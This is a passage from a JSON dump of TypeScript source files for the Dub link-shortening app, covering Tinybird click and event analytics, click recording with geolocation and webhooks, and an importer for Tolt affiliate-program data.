    "content": "import * as z from \"zod/v4\";\nimport { formatUTCDateTimeClickhouse } from \"../analytics/utils/format-utc-datetime-clickhouse\";\nimport { getStartEndDates } from \"../analytics/utils/get-start-end-dates\";\nimport { tb } from \"./client\";\n\nconst inputSchema = z.object({\n  linkIds: z.array(z.string()),\n  start: z.string(),\n  end: z.string(),\n});\n\nconst responseSchema = z.object({\n  link_id: z.string(),\n  country: z.string(),\n  clicks: z.number().default(0),\n});\n\nconst getTopLinksByCountriesTB = tb.buildPipe({\n  pipe: \"v3_group_by_link_country\",\n  parameters: inputSchema,\n  data: responseSchema,\n});\n\nexport async function getTopLinksByCountries({\n  linkIds,\n  start,\n  end,\n}: {\n  linkIds: string[];\n  start: Date;\n  end: Date;\n}) {\n  const { startDate, endDate } = getStartEndDates({\n    start,\n    end,\n    timezone: \"UTC\",\n  });\n\n  const response = await getTopLinksByCountriesTB({\n    linkIds,\n    start: formatUTCDateTimeClickhouse(startDate),\n    end: formatUTCDateTimeClickhouse(endDate),\n  });\n\n  return response.data;\n}\n"
  },
  {
    "path": "apps/web/lib/tinybird/get-webhook-events.ts",
    "content": "import * as z from \"zod/v4\";\nimport { webhookEventSchemaTB } from \"../zod/schemas/webhooks\";\nimport { tb } from \"./client\";\n\nexport const getWebhookEvents = tb.buildPipe({\n  pipe: \"get_webhook_events\",\n  parameters: z.object({\n    webhookId: z.string(),\n  }),\n  data: webhookEventSchemaTB,\n});\n"
  },
  {
    "path": "apps/web/lib/tinybird/index.ts",
    "content": "export * from \"./client\";\nexport * from \"./get-click-event\";\nexport * from \"./get-lead-event\";\nexport * from \"./record-click\";\nexport * from \"./record-lead\";\nexport * from \"./record-link\";\nexport * from \"./record-sale\";\n"
  },
  {
    "path": "apps/web/lib/tinybird/log-conversion-events.ts",
    "content": "import * as z from \"zod/v4\";\nimport { tb } from \"./client\";\n\nconst schema = z.object({\n  workspace_id: z.string(),\n  link_id: z.string().default(\"\"),\n  path: z.string(),\n  body: z.string().default(\"\"),\n  error: z.string().default(\"\"),\n});\n\n// Log the conversion events for debugging purposes\nexport const logConversionEvent = tb.buildIngestEndpoint({\n  datasource: \"dub_conversion_events_log\",\n  event: schema,\n});\n"
  },
  {
    "path": "apps/web/lib/tinybird/log-import-error.ts",
    "content": "import { importErrorLogSchema } from \"../zod/schemas/import-error-log\";\nimport { tb } from \"./client\";\n\nexport const logImportError = tb.buildIngestEndpoint({\n  datasource: \"dub_import_error_logs\",\n  event: importErrorLogSchema,\n});\n"
  },
  {
    "path": "apps/web/lib/tinybird/record-click-zod.ts",
    "content": "import * as z from \"zod/v4\";\nimport { tb } from \"./client\";\n\nexport const recordClickZodSchema = z.object({\n  timestamp: z.string().default(\"\"),\n  identity_hash: z.string().default(\"\"),\n  click_id: z.string().default(\"\"),\n  workspace_id: z.string().default(\"\"),\n  link_id: z.string().default(\"\"),\n  domain: z.string().default(\"\"),\n  key: z.string().default(\"\"),\n  url: z.string().default(\"\"),\n  ip: z.string().default(\"\"),\n  continent: z.string().default(\"\"),\n  country: z.string().default(\"Unknown\"),\n  region: z.string().default(\"Unknown\"),\n  city: z.string().default(\"Unknown\"),\n  latitude: z.string().default(\"Unknown\"),\n  longitude: z.string().default(\"Unknown\"),\n  vercel_region: z.string().default(\"\"),\n  device: z.string().default(\"Desktop\"),\n  device_vendor: z.string().default(\"Unknown\"),\n  device_model: z.string().default(\"Unknown\"),\n  browser: z.string().default(\"Unknown\"),\n  browser_version: z.string().default(\"Unknown\"),\n  engine: z.string().default(\"Unknown\"),\n  engine_version: z.string().default(\"Unknown\"),\n  os: z.string().default(\"Unknown\"),\n  os_version: z.string().default(\"Unknown\"),\n  cpu_architecture: z.string().default(\"Unknown\"),\n  ua: z.string().default(\"Unknown\"),\n  bot: z.number().default(0),\n  qr: z.number().default(0),\n  referer: z.string().default(\"(direct)\"),\n  referer_url: z.string().default(\"(direct)\"),\n  trigger: z.string().default(\"link\"),\n});\n\nexport const recordClickZod = tb.buildIngestEndpoint({\n  datasource: \"dub_click_events\",\n  event: recordClickZodSchema,\n  wait: true,\n});\n"
  },
  {
    "path": "apps/web/lib/tinybird/record-click.ts",
    "content": "import {\n  LOCALHOST_GEO_DATA,\n  LOCALHOST_IP,\n  capitalize,\n  fetchWithRetry,\n  getDomainWithoutWWW,\n} from \"@dub/utils\";\nimport { EU_COUNTRY_CODES } from \"@dub/utils/src/constants/countries\";\nimport { geolocation, ipAddress, waitUntil } from \"@vercel/functions\";\nimport { userAgent } from \"next/server\";\nimport { recordClickCache } from \"../api/links/record-click-cache\";\nimport { ExpandedLink, transformLink } from \"../api/links/utils/transform-link\";\nimport { detectBot } from \"../middleware/utils/detect-bot\";\nimport { detectQr } from \"../middleware/utils/detect-qr\";\nimport { getIdentityHash } from \"../middleware/utils/get-identity-hash\";\nimport { conn } from \"../planetscale\";\nimport { WorkspaceProps } from \"../types\";\nimport { redis } from \"../upstash\";\nimport {\n  publishClickEvent,\n  publishPartnerActivityEvent,\n} from \"../upstash/redis-streams\";\nimport { webhookCache } from \"../webhook/cache\";\nimport { sendWebhooks } from \"../webhook/qstash\";\nimport { transformClickEventData } from \"../webhook/transform\";\n\n/**\n * Recording clicks with geo, ua, referer and timestamp data\n **/\nexport async function recordClick({\n  req,\n  clickId,\n  workspaceId,\n  linkId,\n  domain,\n  key,\n  url,\n  programId,\n  partnerId,\n  webhookIds,\n  skipRatelimit,\n  timestamp,\n  referrer,\n  trigger = \"link\",\n  shouldCacheClickId,\n}: {\n  req: Request;\n  clickId?: string;\n  linkId: string;\n  workspaceId?: string;\n  domain: string;\n  key: string;\n  url?: string;\n  programId?: string;\n  partnerId?: string;\n  webhookIds?: string[];\n  skipRatelimit?: boolean;\n  timestamp?: string;\n  referrer?: string;\n  trigger?: string;\n  shouldCacheClickId?: boolean;\n}) {\n  if (!clickId) {\n    return null;\n  }\n\n  const searchParams = new URL(req.url).searchParams;\n\n  // only track the click when there is no `dub-no-track` header or query param\n  if (req.headers.has(\"dub-no-track\") || searchParams.has(\"dub-no-track\")) {\n    return null;\n  }\n\n  const ua = userAgent(req);\n  const isBot = detectBot(req);\n\n  // don't record clicks from bots\n  if (isBot) {\n    console.log(`Click not recorded ❌ – Bot detected.`, {\n      ua,\n      isBot,\n    });\n    return null;\n  }\n\n  const identityHash = await getIdentityHash(req);\n\n  // by default, we deduplicate clicks for a domain + key pair from the same IP address – only record 1 click per hour\n  // we only need to do these if skipRatelimit is not true (we skip it in /api/track/:path endpoints)\n  if (!skipRatelimit) {\n    try {\n      // here, we check if the clickId is cached in Redis within the last hour\n      const cachedClickId = await recordClickCache.get({\n        domain,\n        key,\n        identityHash,\n      });\n      if (cachedClickId) {\n        return null;\n      }\n    } catch (error) {\n      console.error(`[recordClickCache error]: ${error}`);\n      // if redis fails, return null so we don't overwhelm TB/MySQL\n      return null;\n    }\n  }\n\n  const isQr = detectQr(req);\n  if (isQr) {\n    trigger = \"qr\";\n  }\n\n  // get continent, region & geolocation data\n  // interesting, geolocation().region is Vercel's edge region – NOT the actual region\n  // so we use the x-vercel-ip-country-region to get the actual region\n  const { continent, region } =\n    process.env.VERCEL === \"1\"\n      ? {\n          continent: req.headers.get(\"x-vercel-ip-continent\"),\n          region: req.headers.get(\"x-vercel-ip-country-region\"),\n        }\n      : LOCALHOST_GEO_DATA;\n\n  const geo =\n    process.env.VERCEL === \"1\" ? geolocation(req) : LOCALHOST_GEO_DATA;\n\n  const ip = process.env.VERCEL === \"1\" ? ipAddress(req) : LOCALHOST_IP;\n  const isEuCountry = geo.country && EU_COUNTRY_CODES.includes(geo.country);\n\n  const referer = referrer || req.headers.get(\"referer\");\n\n  const clickData = {\n    timestamp: timestamp || new Date(Date.now()).toISOString(),\n    identity_hash: identityHash,\n    click_id: clickId,\n    workspace_id: workspaceId || \"\",\n    link_id: linkId,\n    domain,\n    key,\n    url: url || \"\",\n    ip:\n      // only record IP if it's a valid IP and not from a EU country\n      typeof ip === \"string\" && ip.trim().length > 0 && !isEuCountry ? ip : \"\",\n    continent: continent || \"\",\n    country: geo.country || \"Unknown\",\n    region: region || \"Unknown\",\n    city: geo.city || \"Unknown\",\n    latitude: geo.latitude || \"Unknown\",\n    longitude: geo.longitude || \"Unknown\",\n    vercel_region: geo.region || \"\",\n    device: capitalize(ua.device.type) || \"Desktop\",\n    device_vendor: ua.device.vendor || \"Unknown\",\n    device_model: ua.device.model || \"Unknown\",\n    browser: ua.browser.name || \"Unknown\",\n    browser_version: ua.browser.version || \"Unknown\",\n    engine: ua.engine.name || \"Unknown\",\n    engine_version: ua.engine.version || \"Unknown\",\n    os: ua.os.name || \"Unknown\",\n    os_version: ua.os.version || \"Unknown\",\n    cpu_architecture: ua.cpu?.architecture || \"Unknown\",\n    ua: ua.ua || \"Unknown\",\n    bot: ua.isBot,\n    qr: isQr,\n    referer: referer ? getDomainWithoutWWW(referer) || \"(direct)\" : \"(direct)\",\n    referer_url: referer || \"(direct)\",\n    trigger,\n  };\n\n  if (shouldCacheClickId) {\n    // cache the click ID and its corresponding click data in Redis for 5 minutes\n    // we're doing this because ingested click events are not available immediately in Tinybird\n    await redis.set(`clickIdCache:${clickId}`, clickData, { ex: 60 * 5 });\n  }\n\n  waitUntil(\n    (async () => {\n      const response = await Promise.allSettled([\n        fetchWithRetry(\n          `${process.env.TINYBIRD_API_URL}/v0/events?name=dub_click_events&wait=true`,\n          {\n            method: \"POST\",\n            headers: {\n              Authorization: `Bearer ${process.env.TINYBIRD_API_KEY}`,\n            },\n            body: JSON.stringify(clickData),\n          },\n        ).then((res) => res.json()),\n\n        // cache the recorded click for the corresponding IP address in Redis for 1 hour\n        recordClickCache.set({ domain, key, identityHash, clickId }),\n\n        // increment the click count for the link (based on their ID)\n        // we have to use planetscale connection directly (not prismaEdge) because of connection pooling\n        conn.execute(\n          \"UPDATE Link SET clicks = clicks + 1, lastClicked = NOW() WHERE id = ?\",\n          [linkId],\n        ),\n        // if the link is associated with a workspace + has a destination URL\n        // increment the usage count for the workspace\n        workspaceId &&\n          url &&\n          publishClickEvent({\n            linkId,\n            workspaceId,\n            timestamp: clickData.timestamp,\n          }).catch(() => {\n            // Fallback on writing directly to the database\n            return conn.execute(\n              \"UPDATE Project p JOIN Link l ON p.id = l.projectId SET p.usage = p.usage + 1, p.totalClicks = p.totalClicks + 1 WHERE l.id = ?\",\n              [linkId],\n            );\n          }),\n\n        programId &&\n          partnerId &&\n          publishPartnerActivityEvent({\n            programId,\n            partnerId,\n            eventType: \"click\",\n            timestamp: new Date().toISOString(),\n          }).catch(() => {\n            // Fallback on writing directly to the database\n            return conn.execute(\n              \"UPDATE ProgramEnrollment SET totalClicks = totalClicks + 1 WHERE programId = ? AND partnerId = ?\",\n              [programId, partnerId],\n            );\n          }),\n      ]);\n\n      // Find the rejected promises and log them\n      if (response.some((result) => result.status === \"rejected\")) {\n        const errors = response\n          .map((result, index) => {\n            if (result.status === \"rejected\") {\n              const operations = [\n                \"Tinybird click event ingestion\",\n                \"recordClickCache set\",\n                \"Link clicks increment\",\n                \"Workspace usage increment\",\n                \"Program enrollment totalClicks increment\",\n              ];\n              return {\n                operation: operations[index] || `Operation ${index}`,\n                error: result.reason,\n                errorString: JSON.stringify(result.reason, null, 2),\n              };\n            }\n            return null;\n          })\n          .filter((err): err is NonNullable<typeof err> => err !== null);\n\n        console.error(\"[Record click] - Rejected promises:\", {\n          totalErrors: errors.length,\n          errors: errors.map((err) => ({\n            operation: err.operation,\n            error: err.error,\n            errorString: err.errorString,\n          })),\n        });\n      }\n\n      // if the link has webhooks enabled, we need to check if the workspace usage has exceeded the limit\n      const hasWebhooks = webhookIds && webhookIds.length > 0;\n      if (workspaceId && hasWebhooks) {\n        const workspaceRows = await conn.execute(\n          \"SELECT usage, usageLimit FROM Project WHERE id = ? LIMIT 1\",\n          [workspaceId],\n        );\n\n        const workspaceData =\n          workspaceRows.rows.length > 0\n            ? (workspaceRows.rows[0] as Pick<\n                WorkspaceProps,\n                \"usage\" | \"usageLimit\"\n              >)\n            : null;\n\n        const hasExceededUsageLimit =\n          workspaceData && workspaceData.usage >= workspaceData.usageLimit;\n\n        // Send webhook events if link has webhooks enabled and the workspace usage has not exceeded the limit\n        if (!hasExceededUsageLimit) {\n          await sendLinkClickWebhooks({ webhookIds, linkId, clickData });\n        }\n      }\n    })(),\n  );\n\n  return clickData;\n}\n\nasync function sendLinkClickWebhooks({\n  webhookIds,\n  linkId,\n  clickData,\n}: {\n  webhookIds: string[];\n  linkId: string;\n  clickData: any;\n}) {\n  const webhooks = await webhookCache.mget(webhookIds);\n\n  // Couldn't find webhooks in the cache\n  // TODO: Should we look them up in the database?\n  if (!webhooks || webhooks.length === 0) {\n    return;\n  }\n\n  const activeLinkWebhooks = webhooks.filter((webhook) => {\n    return (\n      !webhook.disabledAt &&\n      webhook.triggers &&\n      Array.isArray(webhook.triggers) &&\n      webhook.triggers.includes(\"link.clicked\")\n    );\n  });\n\n  if (activeLinkWebhooks.length === 0) {\n    return;\n  }\n\n  const link = await conn\n    .execute(\n      `\n    SELECT \n      l.*,\n      JSON_ARRAYAGG(\n        IF(t.id IS NOT NULL,\n          JSON_OBJECT('tag', JSON_OBJECT('id', t.id, 'name', t.name, 'color', t.color)),\n          NULL\n        )\n      ) as tags\n    FROM Link l\n    LEFT JOIN LinkTag lt ON l.id = lt.linkId\n    LEFT JOIN Tag t ON lt.tagId = t.id\n    WHERE l.id = ?\n    GROUP BY l.id\n  `,\n      [linkId],\n    )\n    .then((res) => {\n      const row = res.rows[0] as any;\n      // Handle case where there are no tags (JSON_ARRAYAGG returns [null])\n      row.tags = row.tags?.[0] === null ? [] : row.tags;\n      return row;\n    });\n\n  await sendWebhooks({\n    trigger: \"link.clicked\",\n    webhooks: activeLinkWebhooks,\n    // @ts-ignore – bot & qr should be boolean\n    data: transformClickEventData({\n      ...clickData,\n      link: transformLink(link as ExpandedLink),\n    }),\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/tinybird/record-fake-click.ts",
    "content": "import { Link } from \"@dub/prisma/client\";\nimport { nanoid } from \"@dub/utils\";\nimport { clickEventSchemaTB } from \"../zod/schemas/clicks\";\nimport { recordClick } from \"./record-click\";\n\n// TODO:\n// Use this in other places where we need to record a fake click event (Eg: import-customers)\nexport async function recordFakeClick({\n  link,\n  customer,\n  timestamp,\n}: {\n  link: Pick<Link, \"id\" | \"url\" | \"domain\" | \"key\" | \"projectId\">;\n  customer?: {\n    country?: string | null;\n    region?: string | null;\n    continent?: string | null;\n  };\n  timestamp?: string | number;\n}) {\n  const dummyRequest = new Request(link.url, {\n    headers: new Headers({\n      \"user-agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)\",\n      \"x-forwarded-for\": \"127.0.0.1\",\n      \"x-vercel-ip-country\": customer?.country || \"US\",\n      \"x-vercel-ip-country-region\": customer?.region || \"CA\",\n      \"x-vercel-ip-continent\": customer?.continent || \"NA\",\n    }),\n  });\n\n  const clickData = await recordClick({\n    req: dummyRequest,\n    clickId: nanoid(16),\n    workspaceId: link.projectId!,\n    linkId: link.id,\n    domain: link.domain,\n    key: link.key,\n    url: link.url,\n    skipRatelimit: true,\n    shouldCacheClickId: true,\n    ...(timestamp && { timestamp: new Date(timestamp).toISOString() }),\n  });\n\n  if (!clickData) {\n    throw new Error(\"Failed to record fake click.\");\n  }\n\n  return clickEventSchemaTB.parse({\n    ...clickData,\n    timestamp: clickData.timestamp.replace(\"T\", \" \").replace(\"Z\", \"\"),\n    bot: 0,\n    qr: 0,\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/tinybird/record-lead.ts",
    "content": "import * as z from \"zod/v4\";\nimport { leadEventSchemaTB } from \"../zod/schemas/leads\";\nimport { tb } from \"./client\";\n\nexport const recordLead = tb.buildIngestEndpoint({\n  datasource: \"dub_lead_events\",\n  event: leadEventSchemaTB,\n});\n\nexport const recordLeadWithTimestamp = tb.buildIngestEndpoint({\n  datasource: \"dub_lead_events\",\n  event: leadEventSchemaTB.extend({\n    timestamp: z.string(),\n  }),\n});\n"
  },
  {
    "path": "apps/web/lib/tinybird/record-link.ts",
    "content": "import * as z from \"zod/v4\";\nimport { ExpandedLink } from \"../api/links\";\nimport { decodeKeyIfCaseSensitive } from \"../api/links/case-sensitivity\";\nimport { tb } from \"./client\";\n\nexport const dubLinksMetadataSchema = z.object({\n  link_id: z.string(),\n  domain: z.string(),\n  key: z.string(),\n  url: z.string().default(\"\"),\n  tag_ids: z.array(z.string()).default([]),\n  folder_id: z\n    .string()\n    .nullish()\n    .transform((v) => (v ? v : \"\")),\n  tenant_id: z\n    .string()\n    .nullable()\n    .transform((v) => (v ? v : \"\")),\n  program_id: z\n    .string()\n    .nullable()\n    .transform((v) => (v ? v : \"\")),\n  partner_id: z\n    .string()\n    .nullish()\n    .transform((v) => (v ? v : \"\")),\n  partner_group_id: z\n    .string()\n    .nullish()\n    .transform((v) => (v ? v : \"\")),\n  partner_tag_ids: z.array(z.string()).default([]),\n  workspace_id: z\n    .string()\n    .nullish()\n    .transform((v) => (v ? v : \"\")),\n  created_at: z\n    .date()\n    .transform((v) => v.toISOString().replace(\"T\", \" \").replace(\"Z\", \"\")),\n  deleted: z\n    .boolean()\n    .default(false)\n    .transform((v) => (v ? 1 : 0)),\n});\n\nconst recordLinkTB = tb.buildIngestEndpoint({\n  datasource: \"dub_links_metadata\",\n  event: dubLinksMetadataSchema,\n  wait: true,\n});\n\nconst transformLinkTB = (link: ExpandedLink) => {\n  const key = decodeKeyIfCaseSensitive({\n    domain: link.domain,\n    key: link.key,\n  });\n\n  return {\n    link_id: link.id,\n    domain: link.domain,\n    key,\n    url: link.url,\n    tag_ids: link.tags?.map(({ tag }) => tag.id) ?? [],\n    folder_id: link.folderId ?? \"\",\n    tenant_id: link.tenantId ?? \"\",\n    program_id: link.programId ?? \"\",\n    partner_id: link.partnerId ?? \"\",\n    partner_group_id: link.programEnrollment?.groupId ?? \"\",\n    partner_tag_ids: [],\n    workspace_id: link.projectId,\n    created_at: link.createdAt,\n  };\n};\n\nexport const recordLink = async (\n  payload: ExpandedLink | ExpandedLink[],\n  { deleted }: { deleted?: boolean } = {},\n) => {\n  if (Array.isArray(payload)) {\n    return await recordLinkTB(\n      payload.map(transformLinkTB).map((p) => ({ ...p, deleted })),\n    );\n  } else {\n    return await recordLinkTB({ ...transformLinkTB(payload), deleted });\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/tinybird/record-sale.ts",
    "content": "import * as z from \"zod/v4\";\nimport { saleEventSchemaTB } from \"../zod/schemas/sales\";\nimport { tb } from \"./client\";\n\nexport const recordSale = tb.buildIngestEndpoint({\n  datasource: \"dub_sale_events\",\n  event: saleEventSchemaTB,\n});\n\nexport const recordSaleWithTimestamp = tb.buildIngestEndpoint({\n  datasource: \"dub_sale_events\",\n  event: saleEventSchemaTB.extend({\n    timestamp: z.string(),\n  }),\n});\n"
  },
  {
    "path": "apps/web/lib/tinybird/record-webhook-event.ts",
    "content": "import { webhookEventSchemaTB } from \"../zod/schemas/webhooks\";\nimport { tb } from \"./client\";\n\nexport const recordWebhookEvent = tb.buildIngestEndpoint({\n  datasource: \"dub_webhook_events\",\n  event: webhookEventSchemaTB.omit({ timestamp: true }),\n});\n"
  },
  {
    "path": "apps/web/lib/tolt/api.ts",
    "content": "import {\n  ToltAffiliateSchema,\n  ToltCommissionSchema,\n  ToltCustomerSchema,\n  ToltLinkSchema,\n  ToltProgramSchema,\n} from \"./schemas\";\nimport {\n  ToltAffiliate,\n  ToltCommission,\n  ToltCustomer,\n  ToltLink,\n  ToltListResponse,\n} from \"./types\";\n\nconst PAGE_LIMIT = 100;\n\nexport class ToltApi {\n  private readonly baseUrl = \"https://api.tolt.com/v1\";\n  private readonly token: string;\n\n  constructor({ token }: { token: string }) {\n    this.token = token;\n  }\n\n  private async fetch<T>(url: string): Promise<T> {\n    const response = await fetch(url, {\n      headers: {\n        Authorization: `Bearer ${this.token}`,\n      },\n    });\n\n    if (!response.ok) {\n      const error = await response.json();\n\n      console.error(\"Tolt API Error:\", error);\n      throw new Error(error.message || \"Unknown error from Tolt API.\");\n    }\n\n    const data = await response.json();\n\n    return data as T;\n  }\n\n  // Since there's no endpoint to fetch a program by ID directly,\n  // we'll use the \"GET /partners\" endpoint with `expand=program`\n  async getProgram({ programId }: { programId: string }) {\n    const searchParams = new URLSearchParams();\n    searchParams.append(\"program_id\", programId);\n    searchParams.append(\"expand[]\", \"program\");\n    searchParams.append(\"limit\", \"1\");\n\n    const { data: partners, total_count } = await this.fetch<\n      ToltListResponse<ToltAffiliate>\n    >(`${this.baseUrl}/partners?${searchParams.toString()}`);\n\n    if (partners.length === 0) {\n      throw new Error(\"No partners found to import.\");\n    }\n\n    const partner = partners[0];\n\n    if (!partner.program) {\n      throw new Error(\"No program found for the first partner.\");\n    }\n\n    return {\n      ...ToltProgramSchema.parse(partner.program),\n      affiliates: total_count,\n    };\n  }\n\n  async listPartners({\n    programId,\n    startingAfter,\n  }: {\n    programId: string;\n    startingAfter?: string;\n  }) {\n    const searchParams = new URLSearchParams();\n    searchParams.append(\"program_id\", programId);\n    searchParams.append(\"expand[]\", \"program\");\n    searchParams.append(\"limit\", PAGE_LIMIT.toString());\n\n    if (startingAfter) {\n      searchParams.append(\"starting_after\", startingAfter);\n    }\n\n    const { data } = await this.fetch<ToltListResponse<ToltAffiliate>>(\n      `${this.baseUrl}/partners?${searchParams.toString()}`,\n    );\n\n    return ToltAffiliateSchema.array().parse(data);\n  }\n\n  async listLinks({\n    programId,\n    startingAfter,\n  }: {\n    programId: string;\n    startingAfter?: string;\n  }) {\n    const searchParams = new URLSearchParams();\n    searchParams.append(\"program_id\", programId);\n    searchParams.append(\"expand[]\", \"partner\");\n    searchParams.append(\"limit\", PAGE_LIMIT.toString());\n\n    if (startingAfter) {\n      searchParams.append(\"starting_after\", startingAfter);\n    }\n\n    const { data } = await this.fetch<ToltListResponse<ToltLink>>(\n      `${this.baseUrl}/links?${searchParams.toString()}`,\n    );\n\n    return ToltLinkSchema.array().parse(data);\n  }\n\n  async listCustomers({\n    programId,\n    startingAfter,\n  }: {\n    programId: string;\n    startingAfter?: string;\n  }) {\n    const searchParams = new URLSearchParams();\n    searchParams.append(\"program_id\", programId);\n    searchParams.append(\"expand[]\", \"partner\");\n    searchParams.append(\"limit\", PAGE_LIMIT.toString());\n\n    if (startingAfter) {\n      searchParams.append(\"starting_after\", startingAfter);\n    }\n\n    // This might be an issue with the Tolt response, the response is within data.data for this endpoint\n    const { data } = await this.fetch<{ data: { data: ToltCustomer[] } }>(\n      `${this.baseUrl}/customers?${searchParams.toString()}`,\n    );\n\n    return ToltCustomerSchema.array().parse(data.data);\n  }\n\n  async listCommissions({\n    programId,\n    startingAfter,\n  }: {\n    programId: string;\n    startingAfter?: string;\n  }) {\n    const searchParams = new URLSearchParams();\n    searchParams.append(\"program_id\", programId);\n    searchParams.append(\"expand[]\", \"partner\");\n    searchParams.append(\"expand[]\", \"customer\");\n    searchParams.append(\"expand[]\", \"transaction\");\n    searchParams.append(\"limit\", PAGE_LIMIT.toString());\n\n    if (startingAfter) {\n      searchParams.append(\"starting_after\", startingAfter);\n    }\n\n    const { data } = await this.fetch<ToltListResponse<ToltCommission>>(\n      `${this.baseUrl}/commissions?${searchParams.toString()}`,\n    );\n\n    return ToltCommissionSchema.array().parse(data);\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/tolt/cleanup-partners.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { toltImporter } from \"./importer\";\n\nconst PARTNER_IDS_PER_BATCH = 100;\n\n// Remove partners with no leads and clean up orphaned partners\nexport async function cleanupPartners({ programId }: { programId: string }) {\n  let hasMore = true;\n  let start = 0;\n\n  while (hasMore) {\n    const importedPartnerIds = await toltImporter.scanPartnerIds({\n      programId,\n      start,\n      end: start + PARTNER_IDS_PER_BATCH - 1,\n    });\n\n    if (importedPartnerIds.length === 0) {\n      hasMore = false;\n      break;\n    }\n\n    const links = await prisma.link.groupBy({\n      by: [\"programId\", \"partnerId\"],\n      where: {\n        programId,\n        partnerId: {\n          in: importedPartnerIds,\n        },\n      },\n      _sum: {\n        leads: true,\n      },\n    });\n\n    const partnersWithNoLeads = links.filter((link) => link._sum.leads === 0);\n    const partnerIdsToRemove = partnersWithNoLeads\n      .map((link) => link.partnerId)\n      .filter((partnerId): partnerId is string => partnerId !== null);\n\n    if (partnerIdsToRemove.length > 0) {\n      await prisma.$transaction(async (tx) => {\n        await tx.programEnrollment.deleteMany({\n          where: {\n            programId,\n            partnerId: {\n              in: partnerIdsToRemove,\n            },\n          },\n        });\n\n        await tx.link.deleteMany({\n          where: {\n            programId,\n            partnerId: {\n              in: partnerIdsToRemove,\n            },\n          },\n        });\n      });\n\n      // Remove partners that are not enrolled in any other program\n      const otherProgramEnrollments = await prisma.programEnrollment.findMany({\n        where: {\n          partnerId: {\n            in: partnerIdsToRemove,\n          },\n          programId: {\n            not: programId,\n          },\n        },\n        select: {\n          partnerId: true,\n        },\n      });\n\n      const enrolledPartnerIds = otherProgramEnrollments.map(\n        ({ partnerId }) => partnerId,\n      );\n\n      const removablePartnerIds = partnerIdsToRemove.filter(\n        (partnerId) => !enrolledPartnerIds.includes(partnerId),\n      );\n\n      if (removablePartnerIds.length > 0) {\n        await prisma.$transaction(async (tx) => {\n          // Find partners that have no user account\n          const partnersWithoutUserAccount = await tx.partner.findMany({\n            where: {\n              id: {\n                in: removablePartnerIds,\n              },\n              users: {\n                none: {},\n              },\n            },\n            select: {\n              id: true,\n              email: true,\n            },\n          });\n\n          if (partnersWithoutUserAccount.length > 0) {\n            await tx.partner.deleteMany({\n              where: {\n                id: {\n                  in: partnersWithoutUserAccount.map(({ id }) => id),\n                },\n              },\n            });\n\n            console.log(\n              \"Removed the following partners\",\n              partnersWithoutUserAccount,\n            );\n          }\n        });\n      }\n    }\n\n    start += PARTNER_IDS_PER_BATCH;\n  }\n\n  await toltImporter.deletePartnerIds(programId);\n}\n"
  },
  {
    "path": "apps/web/lib/tolt/import-commissions.ts",
    "content": "import { sendEmail } from \"@dub/email\";\nimport ProgramImported from \"@dub/email/templates/program-imported\";\nimport { prisma } from \"@dub/prisma\";\nimport { CommissionStatus, Customer, Link, Program } from \"@dub/prisma/client\";\nimport { nanoid } from \"@dub/utils\";\nimport { convertCurrencyWithFxRates } from \"../analytics/convert-currency\";\nimport { isFirstConversion } from \"../analytics/is-first-conversion\";\nimport { createId } from \"../api/create-id\";\nimport { updateLinkStatsForImporter } from \"../api/links/update-link-stats-for-importer\";\nimport { syncPartnerLinksStats } from \"../api/partners/sync-partner-links-stats\";\nimport { syncTotalCommissions } from \"../api/partners/sync-total-commissions\";\nimport { getLeadEvents } from \"../tinybird/get-lead-events\";\nimport { logImportError } from \"../tinybird/log-import-error\";\nimport { recordSaleWithTimestamp } from \"../tinybird/record-sale\";\nimport { LeadEventTB } from \"../types\";\nimport { redis } from \"../upstash\";\nimport { clickEventSchemaTB } from \"../zod/schemas/clicks\";\nimport { ToltApi } from \"./api\";\nimport { MAX_BATCHES, toltImporter } from \"./importer\";\nimport { ToltCommission, ToltImportPayload } from \"./types\";\n\nconst toDubStatus: Record<ToltCommission[\"status\"], CommissionStatus> = {\n  pending: \"pending\",\n  approved: \"pending\",\n  paid: \"paid\",\n  rejected: \"canceled\",\n  refunded: \"refunded\",\n};\n\nexport async function importCommissions(payload: ToltImportPayload) {\n  let { importId, programId, toltProgramId, userId, startingAfter } = payload;\n\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n  });\n\n  const { token } = await toltImporter.getCredentials(program.workspaceId);\n  const toltApi = new ToltApi({ token });\n\n  const toltProgram = await toltApi.getProgram({\n    programId: toltProgramId,\n  });\n\n  const fxRates = await redis.hgetall<Record<string, string>>(\"fxRates:usd\");\n\n  let hasMore = true;\n  let processedBatches = 0;\n\n  while (hasMore && processedBatches < MAX_BATCHES) {\n    const commissions = await toltApi.listCommissions({\n      programId: toltProgramId,\n      startingAfter,\n    });\n\n    if (commissions.length === 0) {\n      hasMore = false;\n      break;\n    }\n\n    const customersData = await prisma.customer.findMany({\n      where: {\n        projectId: program.workspaceId,\n        email: {\n          in: commissions\n            .map((commission) => commission.customer.email)\n            .filter((email): email is string => email !== null),\n        },\n      },\n      include: {\n        link: true,\n      },\n      orderBy: {\n        createdAt: \"asc\",\n      },\n    });\n\n    const customerLeadEvents = await getLeadEvents({\n      customerIds: customersData.map((customer) => customer.id),\n    }).then((res) => res.data);\n\n    await Promise.allSettled(\n      commissions.map((commission) =>\n        createCommission({\n          program,\n          commission,\n          fxRates,\n          programCurrency: toltProgram.currency_code.toLowerCase(),\n          importId,\n          customersData,\n          customerLeadEvents,\n        }),\n      ),\n    );\n\n    await new Promise((resolve) => setTimeout(resolve, 2000));\n\n    startingAfter = commissions[commissions.length - 1].id;\n    processedBatches++;\n  }\n\n  if (hasMore) {\n    await toltImporter.queue({\n      ...payload,\n      startingAfter,\n      action: \"import-commissions\",\n    });\n\n    return;\n  }\n\n  await toltImporter.deleteCredentials(program.workspaceId);\n\n  const workspaceUser = await prisma.projectUsers.findUniqueOrThrow({\n    where: {\n      userId_projectId: {\n        userId,\n        projectId: program.workspaceId,\n      },\n    },\n    include: {\n      project: true,\n      user: true,\n    },\n  });\n\n  if (workspaceUser && workspaceUser.user.email) {\n    await sendEmail({\n      to: workspaceUser.user.email,\n      subject: \"Tolt program imported\",\n      react: ProgramImported({\n        email: workspaceUser.user.email,\n        workspace: workspaceUser.project,\n        program,\n        provider: \"Tolt\",\n        importId,\n      }),\n    });\n  }\n\n  await 